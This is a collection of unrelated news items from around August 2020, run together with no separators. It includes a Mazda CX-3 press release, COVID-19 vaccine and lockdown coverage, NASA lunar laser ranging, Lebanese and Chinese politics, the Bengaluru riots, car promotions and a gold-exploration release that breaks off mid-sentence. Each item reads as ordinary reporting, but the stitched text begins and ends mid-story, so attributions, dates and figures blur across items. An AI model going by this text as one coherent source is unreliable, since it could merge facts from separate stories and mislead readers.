Rear Cross-Traffic Alert and a rearview camera are all standard safety features. CX-3 Sport upholds modern styling for subcompact crossovers. Featuring all LED exterior lighting as standard, such as headlights, taillights and daytime running lights. To add function to form, the LED headlights have automatic on/off, a feature that has been enhanced for 2021, and automatic leveling capabilities. Rain-sensing windshield wipers provide continence and complement the rear window wiper. To bring the entire package together, the CX-3 is styled with 16-inch aluminum alloy wheels, a roof spoiler, shark fin antenna, dual stainless-steel exhaust outlets and an understated black front grille design that brings greater depth and distinction. MSRP2 FOR THE 2021 MAZDA CX-3 IS AS FOLLOWS: Front-Wheel Drive i-Activ All-Wheel Drive CX-3 Sport $20,640 $22,040 PREMIUM PAINT COLORS: Soul Red Crystal Metallic $595 Machine Gray Metallic $495 Snowflake White Pearl Mica $395 Mazda North American Operations is headquartered in Irvine, California, and oversees the sales, marketing, parts and customer service support of Mazda vehicles in the United States and Mexico through approximately 620 dealers. Operations in Mexico are managed by Mazda Motor de Mexico in Mexico City. For more information on Mazda vehicles, including photography and B-roll, please visit the online Mazda media center at InsideMazda.MazdaUSA.com/Newsroom. Follow MNAO's social media channels through Twitter and Instagram at @MazdaUSA and Facebook at Facebook.com/MazdaUSA. 1 MSRP does not include $1,100 for destination and handling ($1,145 in Alaska), taxes, title or additional fees. Dealers set actual sale prices. 2 MSRP does not include $1,100 for destination and handling ($1,145 in Alaska), taxes, title or additional fees. Dealers set actual sale prices. Dealers set actual sale prices. SOURCE Mazda North American Operations Related Links www.mazdausa.com A man has been charged after allegedly slashing his daughter's hands and breaking her wrist. Emergency services rushed to a business in Tahmoor, 90km south west of Sydney, at about 10.30am on Monday after receiving reports of a domestic violence attack. A 32-year-old woman was found with lacerations to her hands and a fractured wrist. She was treated by NSW Ambulance paramedics at the scene before being taken to Campbelltown Hospital for treatment. A man has been charged after allegedly slashing his daughter's hands and breaking her wrist (stock) Her 62-year-old father was arrested at the business before being taken to hospital for mandatory assessment. Once he was released he was taken to Narellan Police Station and charged with wounding a person with intent to cause grievous bodily harm (domestic violence), and assault occasioning actual bodily harm (domestic violence). The man was refused bail and is due to appear in Campbelltown Local Court on Tuesday. It's been a few weeks since Russia touted that it has successfully completed the first phase of human trials of its COVID-19 vaccine -- the first to do so, in the world. Moreover, just last week, we heard that authorities in Russia are pushing for the vaccine to be made available to its citizens. Reuters Don't Miss: Russia COVID-19 Vaccine May Be Ready By Mid-August, But Concerns Still Remain And now, a recent Reuters report has revealed that the Russian President has approved the use of the Russian COVID-19 vaccine, while also stating that this particular vaccine is also the worlds first COVID-19 vaccine. Speaking at a government meeting on state television, Putin assured the citizens that the vaccine, developed by Moscows Gamaleya Institute, was safe and that it had even been administered to one of his daughters. I know that it works quite effectively, forms strong immunity, and I repeat, it has passed all the needed checks, said Putin. Other reports online highlight that Putin actually had two of his daughters get vaccinated, emphasising on the efficacy and safety of the vaccine. Along with this, he has also thanked the team for their efforts in saving the lives of not just Russians but also around the world. Also Read: Russian Researchers Test COVID-19 Vaccine On Themselves Ahead Of The Launch, Experts Concerned Concerns regarding Russian vaccine Russia has gone ahead and made the vaccine official while it's still undergoing its final human trials. Moreover, its initial studies are still quite concerning. For starters, the sample size for the studies had only a few individuals, whereas other vaccines have by the thousands. Reuters Secondly, Russia isnt being very clear with the kind of tech it is applying for developing the vaccine. Russian officials state that theyre using human adenovirus vectors that have been made weaker so they dont replicate in the body. But most vaccine contenders are using two of these vectors, not one (as revealed by researchers of the Russian vaccine) that are given one after another. Moreover, it hasnt yet openly revealed the research data on the vaccine to be peer-reviewed by other researchers around the world. Until then, there are lots of grey areas surrounding this vaccine. Also Read: Russian Hackers Attack COVID-19 Vaccine Research, Try To Steal Secrets Have Sheriff Offices in North Carolina, possibly even Beaufort County's Sheriff Office, become too political in the discharging of their sworn constitutional duties? No, the sheriff is a constitutional officer. Yes, the Sheriff Office, on strong occasion, often reverts back to political patronage in the dispensation of their sworn constitutional duties. The Twitter reaction to Laois, Offaly and Kildare being placed on new restrictions to stop the rise in Covid-19 spread is huge. A mix of dark humour, anger, bemusement as well as concern for conditions in meat factories and direct provision centres is felt across the counties and across the country. The restrictions are set to last until at least Sunday night August 23. Read full list of restrictions here. Here's some of the best and most popular reactions. Adam Hurley's comment on meat factory conditions got 5.6k likes. I mean you could do a local lockdown in Kildare, Laois and Offaly or, hear me out on this one. You could make food processing factories not put their workers in battery chicken conditions. Adam Hurley (@AdamHurleyx) August 7, 2020 Hugh Carr's has got a whopping 10k likes. Local lockdowns will forever be known as "being put on a Laois" Hugh Carr (@hughcarrhere) August 7, 2020 This from student Conall has 6k likes. People in Laois, Offaly & Kildare cannot travel to Dublin today (61 combined cases yesterday). People in Massachusetts can travel to Dublin today (417 cases & 18 deaths yesterday). Conall | #RipOffNUIG (@Antifa_VP) August 8, 2020 Kildare, Laois and Offaly right now pic.twitter.com/lj3nN7X74g Lee Bonnie (@leebonnie2707) August 7, 2020 Political social activist Ruth Coppinger had this to say, with 5.7k likes. The reason for Kildare, Laois & Offaly now enduring a second lockdown isnt careless young people or partying its careless factory owners & employers putting profits before health. Its lack of workers rights & sick pay. #COVID19ireland #lockdown Ruth Coppinger (@RuthCoppingerSP) August 7, 2020 Sinn Fein leader Mary Lou McDonald calls on the Taoiseach for action on her post. Just spoke with Taoiseach re lockdown of #Kildare #Laois & #Offaly.These communities are paying the price for lack of testing & inspection at meat plants and DP centres. This must be urgently addressed.The community must be protected. #COVID19 Mary Lou McDonald (@MaryLouMcDonald) August 7, 2020 This tweet stirred an angry reaction from over 400 people. A tough day for the people of Kildare, Laois and Offaly. Thinking of those selfish idiots who thought house parties were acceptable in various parts of the country in recent times. Michael O'Regan (@Michael_O_Regan) August 7, 2020 Many noted the cases in meat factories, including this. House parties ? The clusters are directly related to poor working conditions in meat factories which nobody seems too bothered about holding employers to account for Stating the Obvious (@the_stating) August 7, 2020 Laois TD Brian Stanley had this to say. (1) The lockdown in Laois, Offaly & Kildare is a failure of the Government. It is a failure to listen to the concerns of workers & a failure to hold meat factory management to account. I have been raising the serious issue of Covid19 clusters in meat plants for the last 6 months Brian Stanley (@BrianStanleyTD) August 10, 2020 And finally... lads there's no need to hit us when we're down! Dozens of times over the last decade NASA scientists have launched laser beams at a reflector the size of a paperback novel about 240,000 miles (385,000 kilometers) away from Earth. They announced today, in collaboration with their French colleagues, that they received signal back for the first time, an encouraging result that could enhance laser experiments used to study the physics of the universe. The reflector NASA scientists aimed for is mounted on the Lunar Reconnaissance Orbiter (LRO), a spacecraft that has been studying the Moon from its orbit since 2009. One reason engineers placed the reflector on LRO was so it could serve as a pristine target to help test the reflecting power of panels left on the Moon's surface about 50 years ago. These older reflectors are returning a weak signal, which is making it harder to use them for science. Scientists have been using reflectors on the Moon since the Apollo era to learn more about our nearest neighbor. It's a fairly straightforward experiment: Aim a beam of light at the reflector and clock the amount of time it takes for the light to come back. Decades of making this one measurement has led to major discoveries. One of the biggest revelations is that the Earth and Moon are slowly drifting apart at the rate that fingernails grow, or 1.5 inches (3.8 centimeters) per year. This widening gap is the result of gravitational interactions between the two bodies. "Now that we've been collecting data for 50 years, we can see trends that we wouldn't have been able to see otherwise," said Erwan Mazarico, a planetary scientist from NASA's Goddard Space Flight Center in Greenbelt, Maryland who coordinated the LRO experiment that was described on August 7 in the journal Earth, Planets and Space. "Laser-ranging science is a long game," Mazarico said. But if scientists are to continue using the surface panels far into the future, they need figure out why some of them are returning only a 10th of the expected signal. There are five reflecting panels on the Moon. Two were delivered by Apollo 11 and 14 crews in 1969 and 1971, respectively. They are each made of 100 mirrors that scientists call "corner cubes," as they are corners of a glass cube; the benefit of these mirrors is that they can reflect light back to any direction it comes from. Another panel with 300 corner cubes was dropped off by Apollo 15 astronauts in 1973. Soviet robotic rovers called Lunokhod 1 and 2, which landed in 1970 and 1973, carry two additional reflectors, with 14 mirrors each. Collectively, these reflectors comprise the last working science experiment from the Apollo era. Some experts suspect that dust may have settled on these reflectors over time, possibly after getting kicked up by micrometeorite impacts to the Moon's surface. As a result, the dust could be blocking light from reaching the mirrors and also insulating the mirrors and causing them to overheat and become less efficient. Scientists hoped to use LRO's reflector to determine if that's true. They figured that if they found a discrepancy in the light returned from LRO's reflector versus the surface ones, they could use computer models to test whether dust, or something else, is responsible. Whatever the cause, scientists could then account for it in their data analysis. Despite their first successful laser-ranging experiments, Mazarico and his team haven't settled the dust question just yet. The researchers are refining their technique so they can collect more measurements. The Art of Sending a Photon Beam to the Moon ... and Getting it Back In the meantime, scientists continue to rely on the surface reflectors to learn new things, despite the weaker signal. By measuring how long it takes laser light to bounce back -- about 2.5 seconds on average -- researchers can calculate the distance between Earth laser stations and Moon reflectors down to less than an inch, or a few millimeters. This is about the thickness of an orange peel. Besides the Earth-Moon drift, such measurements over a long period of time and across several reflectors have revealed that the Moon has a fluid core. Scientists can tell by monitoring the slightest wobbles as the Moon rotates. But they want to know whether there's a solid core inside of that fluid, said Vishnu Viswanathan, a NASA Goddard scientist who studies the internal structure of the Moon. "Knowing about the Moon's interior has bigger implications that involve the evolution of the Moon and explaining the timing of its magnetic field and how it died out," Viswanathan said. Magnetic measurements of Moon samples returned by Apollo astronauts revealed something no one had expected given how small the Moon is: our satellite had a magnetic field billions of years ago. Scientists have been trying to figure out what inside the Moon could have generated it. Laser experiments could help reveal if there's solid material in the Moon's core that would've helped power the now-extinct magnetic field. But to learn more, scientists first need to know the distance between Earth stations and the Moon reflectors to a higher degree of accuracy than the current few millimeters. "The precision of this one measurement has the potential to refine our understanding of gravity and the evolution of the solar system," said Xiaoli Sun, a Goddard planetary scientist who helped design LRO's reflector. Getting more photons to the Moon and back and better accounting for ones that are lost because of dust, for instance, are a couple of ways to help improve precision. But it's a herculean task. Consider the surface panels. Scientists must first pinpoint the precise location of each one, which is constantly changing with the Moon's orbit. Then, the laser photons must travel twice through Earth's thick atmosphere, which tends to scatter them. Thus, what begins as a light beam that's about 10 feet, or a few meters, wide on the ground can spread out to more than 1 mile, or 2 kilometers, by the time it reaches the Moon's surface, and much wider when it bounces back. That translates to a one-in-25-million chance that a photon launched from Earth will reach the Apollo 11 reflector. For the few photons that manage to reach the Moon, there's an even lower chance, one in 250 million, that they will make it back, according to some estimates. If those odds seem daunting, reaching LRO's reflector is even more challenging. For one, it is a 10th the size of the smaller Apollo 11 and 14 panels, with only 12 corner cube mirrors. It's also attached to a fast-moving target the size of a compact car that's 70 times farther away from us than Miami is from Seattle. Weather at the laser station impacts the light signal, too, as does the alignment of the Sun, Moon and Earth. That's why despite several attempts over the last decade NASA Goddard scientists had been unable to reach LRO's reflector until their collaboration with French researchers. Their success thus far is based on using advanced technology developed by the Geoazur team at the Universite Cote d'Azur for a laser station in Grasse, France, that can pulse an infrared wavelength of light at LRO. One benefit of using infrared light is that it penetrates Earth's atmosphere better than the visible green wavelength of light that scientists have traditionally used. But even with infrared light, the Grasse telescope received only about 200 photons back out of tens of thousands of pulses cast at LRO during a few dates in 2018 and 2019, Mazarico and his team report in their paper. It may not seem like much, but even a few photons over time could help answer the surface reflector dust question. A successful laser beam return also shows the promise of using infrared laser for precise monitoring of Earth's and Moon's orbits, and of using many small reflectors -- perhaps installed on NASA's commercial lunar landers -- to do so. This is why some scientists would like to see new and improved reflectors sent to more regions of the Moon, which NASA is planning to do. Others are calling for getting more facilities around the globe equipped with infrared lasers that can pulse to the Moon from different angles, which can further improve the precision of distance measurements. New approaches to laser ranging such as these can ensure that the legacy of these fundamental studies will continue, scientists say. Please follow SpaceRef on Twitter and Like us on Facebook. Chinese lawmakers have held panel discussions to deliberate the draft amendment to the Copyright Law during an ongoing legislative session of the country's top legislature. The draft amendment was submitted to the National People's Congress Standing Committee for a second reading. At the group discussions, the lawmakers agreed that the development of internet and information technology has brought many challenges to copyright protection, such as how to protect the new forms of works, including online literature, internet shows and artificial intelligence-composed music. Lawmaker Zuo Zhongyi stressed the importance of protecting the creators of online works as they are obviously in a weak position compared with internet platforms with the advantages of capital, technology and marketing. Some legislators suggested strengthening the protection of non-literary works. Lawmaker Xu Yanhao underscored the copyright protection of works on science and technology, and punishment for the falsification and plagiarism of academic achievements and data. The Copyright Law was put into effect in 1991 and amended in 2001 and 2010. The Nagpur bench of Bombay High Court on Tuesday sought Maharashtra governments response to a petition filed by Delhi Universitys former professor G N Saibaba for emergency parole to attend the post funeral rituals of his late mother in Hyderabad. Saibaba, who is serving life sentence in the Nagpur Central Prison for links with Maoists, lost his 74-year-old ailing mother on August 1, even as his lawyers were seeking to arrange a video conference between the two. Last week, the prison authorities rejected Saibabas application for parole to attend the last rites of his mother. He then approached the high court through his advocate Mihir Desai, seeking to be released on emergency parole so that he could go to Hyderabad and attend the post funeral rituals of his mother. On Tuesday, special public prosecutor P K Sathianathan sought time from the court to respond to the plea. A division bench of Justices A S Chandurkar and A B Borkar issued a notice to the state government and directed it to respond to the plea by August 18. Saibaba earlier also sought parole from the prison authorities to meet his mother, who was suffering from cancer, but it was rejected. The former professor, 51, who is wheelchair-bound with over 90 per cent physical disabilities, had also filed a bail plea before the high court's Nagpur bench on the ground that his mother was unwell and his own health was deteriorating. The high court rejected the bail plea on July 28. In March 2017, a sessions court in Maharashtras Gadchiroli district convicted Saibaba and four others, including a journalist and a student of the Jawaharlal Nehru University (JNU),for alleged Maoist links and indulging in activities amounting to "waging war against the country". The court had held Saibaba and the other guilty under various provisions of the stringent Unlawful Activities Prevention Act (UAPA) and the Indian Penal Code (IPC). Since his conviction, Saibaba has been lodged in the Nagpur Central Prison. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Now Google search results of a person will throw up links to their personal websites, contact details and social media profiles. People Cards is aimed at helping individuals, influencers, job seekers and freelancers who want to be discovered and expand their reach on the search engine. "Google has launched the feature in India to aid business owners and sole proprietors who are looking to build their online presence amid the Covid-19 outbreak and also because the region's ... Dear Reader, Business Standard has always strived hard to provide up-to-date information and commentary on developments that are of interest to you and have wider political and economic implications for the country and the world. Your encouragement and constant feedback on how to improve our offering have only made our resolve and commitment to these ideals stronger. Even during these difficult times arising out of Covid-19, we continue to remain committed to keeping you informed and updated with credible news, authoritative views and incisive commentary on topical issues of relevance. We, however, have a request. As we battle the economic impact of the pandemic, we need your support even more, so that we can continue to offer you more quality content. Our subscription model has seen an encouraging response from many of you, who have subscribed to our online content. More subscription to our online content can only help us achieve the goals of offering you even better and more relevant content. We believe in free, fair and credible journalism. Your support through more subscriptions can help us practise the journalism to which we are committed. Support quality journalism and subscribe to Business Standard. Digital Editor Protesters were being tear-gassed by security forces around the parliament when Prime Minister Hassan Diab went live on air to declare the cabinets resignation. He took to the podium and blamed the crisis on the political forces in power before he took office. He claimed he tried to remedy Lebanons woes but discovered corruption is greater than the state. The rallies did die down in the wake of his announcement, but there were no mass celebrations in Beirut. Instead, people warily said it was a good first step. We havent trusted this government since day one, said Cherine, a protester who needed hospital treatment after narrowly escaping death during Tuesdays blast. But we fear we will see a repeat of all the other times. We need the whole system including the president to step down. Just days before, furious protesters in Lebanons Martyrs Square strung effigies of all the countrys political figures on a rack of nooses. Crowds stormed and briefly took over the ministry buildings, calling for ministers to, metaphorically hang. Anger simmered in the streets as it emerged the president, the prime minister, the security forces and port officials had all known about the dangerously stored stockpile of explosives that is thought to have caused the blast, killing over 200 people and injuring 6,000 more. Fury mounted with the lack of official response in the immediate aftermath: citizens armed with brooms and shovels were left to clear up the debris and house the 300,000 homeless. Still the cabinet clung on. Until Monday, amid the threat of further unrest on the horizon and mass resignations. So, what next? And will there be actual change? Practically for now the government remains in place in a caretaker role until, at the request of President Michel Aoun, the parliamentary blocs agree on a new prime minister. This happened in October when former premier Saad Hariri stepped down during nationwide protests against a worsening economic crisis. The process is fraught and can take months. The names of possible replacements being bandied about the hallways of power are familiar. They include Mr Hariri himself as well as a former candidate for the premiership Nawaf Salam, a diplomat and judge with close ties to the US. Neither represent a radical shift that protesters have been calling for. Even the outgoing ministers admitted this was the case. A general view of the port of Beirut (AFP via Getty Images) I dont think there will be a real long-term solution without a full change of the political system or the constitution, said Raoul Nehme, who until Monday evening was the countrys economy minister. Echoing Mr Diab, he too blamed political forces for not allowing us to do what we had to do, adding that the cabinet he was part of couldnt undo 30 years of mismanagement and corruption in six months. We were hoping to be able to work as technocrats and we were not able to, he said. That said there is a huge amount of pressure for reform not only on the streets of Lebanon but the international community, according to Maha Yahya, director of the Carnegie Middle East Centre. A donor conference hosted by French president Emmanuel Macron on Sunday raised pledges worth nearly 253m (217m) for immediate humanitarian relief. That would only be delivered on the condition of transparency that the money does not just line the pockets of the powerful. That said, there needs to be a stable government to be able to rebuild the country. There is a recognition from all sides that the current situation is not tenable. This is no longer about a political collapse but a massive humanitarian crisis which is coming on the heels of a total economic meltdown, Ms Yahya said. There is a desperate need for aid, and all eyes are on Lebanon. YEREVAN, AUGUST 11, ARMENPRESS. Armenian foreign ministry spokesperson Anna Naghdalyan has responded to the Turkish FMs statements on the occasion of the 100th anniversary of the Treaty of Sevres. The statement issued by the Foreign Ministry of Turkey on the occasion of the 100th anniversary of the Treaty of Sevres once again demonstrates the inability of that country to face its past. Surprisingly, the current authorities of Turkey, who never miss a chance to praise their Ottoman heritage, nervously react to the reference of the Treaty of Sevres which the same Ottoman Empire signed with a number of states including the Republic of Armenia. The Treaty of Sevres has been and will remain a historical fact, which cannot be edited or wiped away. While evading to face its past and urging others to take lessons from history instead of animosity, Turkey continues its traditional policy of justifying the Armenian Genocide and threatening the Armenian people with new atrocities. Turkeys steps towards undermining the peace and security in our region and its military posturing against Armenia are part of the expansionist policy of the Turkish Government which is aimed at destabilizing its neighboring regions. Only the reconsideration of such policy and the capacity to face the past by Turkey will pave a way for genuine reconciliation between the peoples in our region, Naghdalyan said in a statement. Bala Chauhan and Manju Shettar By Express News Service BENGALURU: Three people were killed while few others sustained injuries after police opened fire at them in KG Halli in East Bengaluru in the violence that erupted over an offensive post on a social media platform. 110 people have been arrested after several policemen were injured as mobsters pelted stones at them. The city is put on high alert following the unrest. Heavy police deployment has been made in KG Halli and DJ Halli following a violent mob attacked policemen and torched police and civilian vehicles. It all started over an offensive post put on a social media platform by one, P Naveen, purportedly a relative of Pulikeshinagar MLA Akhanda Srinivasa Murthy. With regard to incidents in DJ Halli, accused Naveen arrested for posting derogatory posts.. also total 110 accused arrested for arson, stone pelting and assault on police. APPEAL TO ALL TO COOPERATE WITH POLICE TO MAINTAIN PEACE. Kamal Pant, IPS (@CPBlr) August 11, 2020 Raged over the post, about 15-20 people attacked the residence of the MLA in Kaval Byrasandra on Tuesday night. While attempts to torch the house were thwarted by the police, hundreds of people gathered in front of KG Halli and DJ Halli police stations. He and his family escaped unhurt, when the mob torched his house in Kavalbyrasandra in DJ Halli police station limits. Follow @XpressBengaluru for ground report ! Riot at DJ halli on Tuesday night after mob vandalised MLA Akhanda Srinivas's house. Mob torched some vehicles. Police deployed. Video by @vinodkumart5@NewIndianXpress @santwana99 @gsvasu_TNIE pic.twitter.com/y1UKvxzbOQ TNIE Karnataka (@XpressBengaluru) August 11, 2020 Before the police could mobilise enough staff, the mob started pelting stones at police vehicles and torching vehicles. As many tried to set fire to police stations, the police resorted to lathi charge and lobbing tear gas shells. Several policemen were injured while police vehicles were torched and vehicles of senior police officers were damaged. As the KSRP platoons, which were called in to contain the situation, advanced towards the rioters, they were pelted with stones from rooftops. At this juncture, the police had to lob tear gas shells. Captured by TNIE cameras - Mob went on a rampage at DJ Halli last night angered by an inflammatory social media post by an alleged aide of INC MLA Akhanda Srinivasmurthy. 3 dead, 110 arrested so far. VC: @vinodkumart5 @xpressbengaluru @NewIndianXpress @santwana99 @gsvasu_tnie pic.twitter.com/63VawNYzmN TNIE Karnataka (@XpressBengaluru) August 12, 2020 When the mob did not budge and intensified their attack targeting police and their vehicles, the cops fired in the air as a warning shot. However, the mob was in mood to pay heed to the warnings. Finally, the police had to resort to Golibar, killing one and leaving 3-4 others injured near KG Halli police station. The situation is still tense in the area and more police forces are being pressed into service. Amidst violence, MLA Akhanda Srinivasa Murthy appealed to the people to maintain peace and legal action will be taken against the person, who allegedly posted the offensive post. Following the incident, Chief Minister BS Yediyurappa spoke to Home Minister Basavaraja Bommai and instructed him to take all necessary steps to contain further spread of violence. Bommai, who confirmed a death in the police firing, said that people must maintain peace and those who resort to violence will be dealt with an iron fist. Congress MLAs BZ Zameer Ahmad Khan, Rizwan Arshad and others visited the spot and appealed to the public to stay calm. Police Commissioner Kamal Pant and other senior officers have camped in the area. A senior police official said that prohibitory orders as per section 144 of the CrPC was already in force across the city due to COVID-19 pandemic but decision will be taken for more stringent restrictions based on the situation. Naveen, who allegedly posted the offensive post, stated that his Facebook account was hacked and also appeared before the police soon after violence broke out. DJ Halli is Bengalurus communal nerve centre and is considered one of the most sensitive areas comprising of Tannery Road, Shampura; is adjacent to KJ Halli and connects to Nagwara on one hand and Davis Road, Frazer Town and Coles Park on the other end. Before the lockdown, Bilal Bagh in DJ Halli had become the anti-CAA and NRC protest site on the lines of Shaheen Bagh in Delhi. (This is a developing story) Please register or log in to keep reading. No credit card required! Stay logged in to skip the surveys. Trading Enterprises Honda, part of Al-Futtaim Automotive and the sole distributor for Honda in the UAE has launched its Extraordinary prices promotion offering big savings on a wide range of new vehicles at affordable prices. Featuring some of Hondas best-selling vehicles, Hondas Extraordinary Prices offers additional benefits new buyers can profit from, such as a three-month payment holiday, free service, and free insurance. Lease and Personal Contract Purchase (PCP) options are available on all new Honda cars, a company statement said. With prices from AED49,900, the offer is available on six models including Honda City, Honda Civic, Honda Accord, Honda HR-V, Honda CV-R, and Honda Pilot. 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Freebies that come with this package include service up to 40,000 km, free registration and free insurance on selected model variants. Designed for the growing family and/or a group of friends in mind, the Honda Pilot provides the best summer savings with prices from AED99,900. Buyers can get freebies for their purchase including service up to 40,000 km, free registration and free insurance on selected models. TradeArabia News Service Jacqueline Fernandez has been gracing us with her casual charm and stylish good looks ever since her introduction to the world of fashion in the Miss Universe Sri Lanka pageant of 2006, for which she was the winner. This paved her way into becoming one of the biggest names in Bollywood, that she is today. Jacquelines debut film, Sujoy Ghoshs fantasy drama Aladin marked her Bollywood debut, but she went on to receive critical acclaim for her role in Murder 2 soon after. Jacqueline was born to a multiracial family of Canadian, Sri Lankan and Malaysian descent, and has an artists soul as part of her genes due to her father being a musician. Her acting career has included hits like Housefull, Race 2, Kick and Roy. Aside from her blooming acting career, Jacqueline has made a name for herself through her unique and experimental fashion sense. She has never shied away from taking big risks with her wardrobe choices and her stunning looks have helped her pull them off with relative ease. On the occasion of Jacqueline Fernandezs 35th birthday, we are taking a look into some of her recent attires that set her apart in the world of fashion and Bollywood. From red carpet gowns to everyday casual clothing, Jacqueline Fernandez gives us all fashion goals. She is often spotted wearing different hues of pink that compliment her skin tone and minimalistic makeup. For a woman who looks right at home in traditional Indian wear, Jacqueline pulls off denim jackets, sweatshirts and leather boots with the same ease and grace. Another factor that sets her apart from her peers in the Bollywood industry is that fact that she is always wearing a big smile for the cameras, be it at the red carpet or in front of paparazzi. In March 2019, Jacqueline also shared her fitness regime with us in an interview and spoke about the practice of yoga, that she had resumed only recently at the time of this interview. She said, I started my journey with yoga around 10 years back but then left it. All these new fads came in, then there was weight training, pilates- of course, theyre all amazing, but I ended up forgetting about yoga. And then just about six months back, I decided that I wanted to do something more holistic and yoga for me was that workout. It wasnt about building muscle or losing weight or stamina. It was about going down deep inside and seeing what my body can do and taking it there, said the actor. I realized that there was a lot more communication happening and a lot more attention given to myself instead of stress and thoughts and work and social media. So I really started enjoying it and am really happy that I got back into it, added Jacqueline. Follow more stories on Facebook and Twitter SHARE THIS ARTICLE ON Foreign Ministry spokesman Zhao Lijian takes questions at a regular media briefing in Beijing on August 10, 2020. [Photo/Foreign Ministry official website] China on Monday announced sanctions against 11 U.S. officials with egregious records on Hong Kong affairs, according to Chinese Foreign Ministry spokesperson Zhao Lijian at a press briefing. Zhao made the announcement in response to a request for comment on the so-called sanctions by the U.S. government against 11 officials of the Chinese central government and the Hong Kong Special Administrative Region (HKSAR) government. According to Zhao, China's decision stems from the wrongdoings of the U.S. side. The sanctions, effective from Monday, are applied to U.S. officials, including Senators Marco Rubio, Ted Cruz, Josh Hawley, Tom Cotton and Pat Toomey, Representative Chris Smith, and Carl Gershman, President of the National Endowment for Democracy, Derek Mitchell, President of the National Democratic Institute, Daniel Twining, President of the International Republican Institute, Kenneth Roth, Executive Director of Human Rights Watch, and Michael J. Abramowitz, President of Freedom House. Stating that China firmly rejects and condemns the U.S. government's so-called sanctions against Chinese officials, Zhao stressed that the U.S. behavior openly meddles with Hong Kong affairs, blatantly interferes in China's internal affairs, and gravely violates international law and basic norms governing international relations. Since Hong Kong's return to the motherland, the practice of "one country, two systems" has proven to be an enormous success, Zhao said, and Hong Kong residents enjoy unprecedented democracy and rights and freedoms in accordance with law. "This is an objective fact no unbiased people will deny," Zhao said. In the meantime, there are new risks and challenges in the implementation of "one country, two systems," the most prominent of which is heightened national security risk, Zhao added. When national security in Hong Kong is undermined and confronted with real threats and the HKSAR government had difficulty in completing national security legislation on its own, the Central Government took decisive measures to establish and improve at the state level a legal system and enforcement mechanisms to safeguard the national security in Hong Kong, he said. "The law on safeguarding national security in Hong Kong targets a small number of criminals who gravely jeopardize national security and protects the law-abiding Hong Kong residents, who represent the vast majority," Zhao said. He said Hong Kong is part of China and its affairs are entirely China's internal affairs which allow no foreign interfere. "We urge the U.S. side to grasp the situation, correct its mistake, and immediately stop meddling in Hong Kong affairs and China's internal affairs." In response to a joint statement on Hong Kong by the foreign ministers of the Five Eyes, namely the United States, Britain, Canada, Australia and New Zealand, on Sunday, in which they urged Hong Kong to hold legislative elections as soon as possible, Zhao said China strongly deplores and rejects it. "It is another evidence of their interference in China's internal affairs and Hong Kong Legislative Council election. China has made stern representations with the relevant countries," Zhao said. Zhao stressed that the HKSAR government's decision to postpone the elections in the face of the raging pandemic is a justified and necessary step to ensure people's safety and health, as well as a safe, fair and just election. According to Zhao, more than 60 countries and regions have postponed national or local elections due to COVID-19. For example, Britain announced in March that local elections in places like England originally scheduled in May would be postponed to May 2021. "It is the epitome of double standards that the Five Eyes chose to interpret the HKSAR government's decision in a twisted political way," Zhao said. He noted that at a recent UNHRC session, 70 countries supported China's formulation of the law and condemned interference in China's internal affairs by using Hong Kong as a cover. "This reflects the common voice and just position of the international community," Zhao said, adding that the Five Eyes can by no means represent the international community. Source: Xinhua| 2020-08-11 14:38:55|Editor: huaxia Video Player Close NEW YORK, Aug. 11 (Xinhua) -- Facing the threat of instant annihilation from atomic bombings, another world war is simply not an option for any reason or for any nation at any time, and the only option for mankind is the rational and peaceful resolution of its challenges, said a U.S. historian on Monday. The atomic bombings of Hiroshima and Nagasaki in August 1945 in Japan opened a new chapter in the world history, said Paul A. Tenkotte, a professor of history at Northern Kentucky University. "It is important to remember that the United Nations has managed to keep the world from a major global conflict for 75 years," Tenkotte told Xinhua in an email. International negotiations are never easy, but certainly easier and less costly than any war, he said. Tenkotte also stressed the importance of joint efforts from different countries in fighting COVID-19. "It will require a concerted effort of every nation to defeat COVID-19, and to assure that 7.8 billion people worldwide receive vaccines when they become available," he said. "That alone will require a massive international logistical effort," he added. Enditem VANCOUVER, BC / ACCESSWIRE / August 11, 2020 / Sky Gold Corp. (TSX-V:SKYG) (OTC PINK:SRKZF)("Sky Gold Cop." or the "Company") is pleased to announce the start of field activities on the "Mustang Property" and the "Virginia Property", contiguous to the north-eastern portion of the Queensway Gold Project, owned by New Found Gold Corp. ("New Found Gold"). Government issued work permits for surface exploration have been received on both properties. The Company is also pleased to have engaged Grassroots Prospecting ("Grassroots"), a local, Newfoundland-based, prospector-driven organization, to assist with the exploration and logistics of field activities on our Newfoundland properties. Grassroots is very experienced and knowledgeable on the geology, mineral showings and exploration history of the Mustang Project and have led the permitting process for exploration and directed towards a fall drill program. Exploration activity will include prospecting, geological mapping, rock outcrop and subcrop sampling, soil geochemistry and hand trenching. The eastern portion of the Mustang Property hosts the well documented Outflow prospect discovered by Noranda Exploration Company Ltd., drilled by Altius Resources (with Barrick Gold) in the late 1990's and early 2000's, and investigated by the Newfoundland government geologist (C.G. Squires, 2005) and a 2006 Master Thesis (J.M. O'Driscoll). Highest gold values, up to 28 grams per tonne gold (g/t Au) over 0.8 metres, occur in dark grey hydrobreccia units, associated with high arsenopyrite concentrations. Selected diamond drill assay results from Noranda's drill program include 1.27 g/t Au over 11.3 m, 0.67 g/t Au over 18.3 m and 0.92 g/t Au over 9.0 m.* * Gold values on adjacent properties in similar rocks, and assays based on historical work, are not representative of the mineralization on the property, have not been verified and should not be relied upon. The Outflow prospect comprises the "Mustang" and "Piper" mineralized zones. Squires reports: "The silicified zones trend for at least 3 km to the northeast, locally in association with fault zones, and consist of chalcedonic silica in association with comb-textured and crustiform quartz and hydrothermal breccia. Disseminated pyrite is associated with some of the higher grade samples, and needles of possible stibnite have been noted..the vein textures are reminiscent of low-sulphidation epithermal mineralization." The geologic textures and style of brecciation, and associated minerals including arsenic, antimony, mercury and barite are interpreted to be similar to the geologic model proposed for the Keats Zone on the New Found Gold Kingsway property. Other targets on the Mustang property include the Road Breccia, Barite, Jasperoid and Gervase's Lane showings. Discovered by prospecting in 2003 the Jasperoid showing has geological similarities to silicified semi-calcareous rocks from the Carlin district of Nevada. Squires reports: "The Jasperoid showing is exposed as a 1.5 wide by 5 m long, southwest-trending zone of silicification Immediately adjacent to the Jasperoid showing is a set of quartz veins that have east-west trends perpendicular to stratigraphy. These veins have distinctive epithermal textures in the form of banded coliform quartz and bladed quartz pseudomorphs that have likely replaced calcite or barite. Alteration at this latter location was evidently controlled by a discordant fault or joint that strikes toward the Mustang showing,". President Mike England states: "Working with Grassroots Prospecting, we are looking forward to initiating our exploration programs on the Mustang and 